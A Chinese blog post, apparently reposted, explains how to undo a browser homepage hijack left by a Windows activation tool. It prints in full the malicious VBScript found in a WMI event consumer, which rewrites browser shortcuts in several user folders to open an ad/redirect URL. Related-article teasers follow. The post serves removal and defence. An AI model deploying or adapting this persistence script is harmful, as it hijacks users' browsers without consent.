使用小马激活工具激活Windows后,浏览器的首页被篡改,如何改回去?

news/2025/2/3 9:54:59/

方法一

直接修改浏览器的名字,这种事最简单的方法,KMS(小马激活工具)通过搜索相关的关键字。比如chrome、google、360等一些主流浏览器,对其进行动态代码注入。

方法二

通过WMI(Windows Management Instrumentation)| 下载地址进行修改,
打开WMI Event Viewer:
在这里插入图片描述
点击左上角的笔的图标(Register For Events),在弹出的Connect to namespace的框直接点OK,Login的页面也直接点OK。点开左侧栏的EventFilter,再点击下级目录的项目:
在这里插入图片描述
在右侧栏右键点击ActiveScriptEventConsumer,并通过view instant properties查看属性:
在这里插入图片描述
在Script Text那一栏我们可以看到这段脚本:

On Error Resume NextConst link = "http://hao.qquu8.com/?m=yx&r=j"
Const link360 = "http://hao.qquu8.com/?m=yx&r=j&s=3"
browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe"
lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\sjtul\Desktop,C:\Users\sjtul\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\sjtul\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\sjtul\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\sjtul\AppData\Roaming\Microsoft\Windows\Start Menu\Programs"
browsersArr = split(browsers,",")
Set oDic = CreateObject("scripting.dictionary")
For Each browser In browsersArroDic.Add LCase(browser), browser
Next
lnkpathsArr = split(lnkpaths,",")
Set oFolders = CreateObject("scripting.dictionary")
For Each lnkpath In lnkpathsArroFolders.Add lnkpath, lnkpath
Next
Set fso = CreateObject("Scripting.Filesystemobject")
Set WshShell = CreateObject("Wscript.Shell")
For Each oFolder In oFoldersIf fso.FolderExists(oFolder) ThenFor Each file In fso.GetFolder(oFolder).FilesIf LCase(fso.GetExtensionName(file.Path)) = "lnk" ThenSet oShellLink = WshShell.CreateShortcut(file.Path)path = oShellLink.TargetPathname = fso.GetBaseName(path) & "." & fso.GetExtensionName(path)If oDic.Exists(LCase(name)) ThenIf LCase(name) = LCase("360se.exe") ThenoDicShellLink.Arguments = link360ElseoShellLink.Arguments = linkEnd IfIf file.Attributes And 1 Thenfsoile.Attributes = file.Attributes - 1End IfoShellLink.SaveEnd IfEnd IfNextEnd If
Next

其他激活工具

  • 俄罗斯人开发的工具
  • 参考文章

http://www.ppmy.cn/news/376047.html

相关文章

解决谷歌浏览器主页被篡改问题

今日打开谷歌浏览器时,正准备和往常一样进入主页点开收藏的书签开启今日的学习之旅,不曾想到主页突然变成了搜狗,同时收藏的书签也不知所踪,感觉浏览器瞬间掉了一个档次,故搬了一些方法去解决谷歌浏览器主页被篡改问题…

Web应急:网站首页被篡改

网站首页被非法篡改,是的,就是你一打开网站就知道自己的网站出现了安全问题,网站程序存在严重的安全漏洞,攻击者通过上传脚本木马,从而对网站内容进行篡改。而这种篡改事件在某些场景下,会被无限放大。 现象…

zblog php 首页经常被篡改,浏览器首页经常被篡改,这样设置,自己也改不掉!...

计算机浏览器首页被篡改的问题,相信不少人都遇到过。关键现在的流氓软件太厉害了,浏览器首页被改了后,想修改回来,真是难上加难。简单的靠一些安全软件和重置电脑浏览器是无法解决问题的。不信,你修改后重启下电脑看看…

浏览器主页被篡改解决

虽然不是什么很重要的东西,但是我们的日常探索中总是多多少少的出现主页被篡改的情况 所以简单的记录一下 1.修改两个注册表 找到两个注册表路径修改Start Page HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InternetExplorer\Main HKEY_CURRENT_USER\Software\Micr…

火狐浏览器主页被篡改解决方法

这几天用着火狐总感觉哪里不对劲,但又没发现什么,直到今天下午打开浏览器发现主页被篡改成某123了,我才发现这几天的不对劲从何而来 .| 于是果断打开浏览器选项,将主页修改成我很喜欢的页面Bing,然后重启,…

清理谷歌浏览器注册表_【从注册表解决谷歌浏览器主页被篡改】注册表被篡改_谷歌浏览器被360篡改...

2015-11-24 14:36:20 在我们使用电脑的过程中,经常需要打开浏览器访问网站。从浏览速度和安全性出发,很多用户选择使用谷歌浏览器即Chrome浏览器。但是经常有用户会发现自己电脑中的谷歌浏览器主页被自动篡改... 2017-06-15 11:51:54 现在,越来越多不法分子都会利用电脑技术…

当电脑所有浏览器主页被篡改无法修改,一个不用工具解决的方法

这种网页被篡改的情况要多恶心有多恶心,问题是用了很多工具还都搞不定。 由于工作需要准备很多的浏览器,但是一个浏览器中招,其他浏览器会无一幸免。 要多恶心有多恶心,先看看这个恶心的网址。 https://hao.360.com/?srclm&am…

chrome 打开默认页 被篡改_chrome默认首页被修改如何解决_chrome首页被篡改的处理办法-系统城...

在使用chrome浏览器时,由于一些不当操作或者恶意插件,很容易造成默认首页被修改,那我们遇到这一问题要如何来解决呢?很多不熟悉的小伙伴可能不是很清楚,所以今天系统城小编为大家整理分享的就是关于chrome首页被篡改的处理办法。 chrome浏览器下载最新版v86.0.4240.75 chr…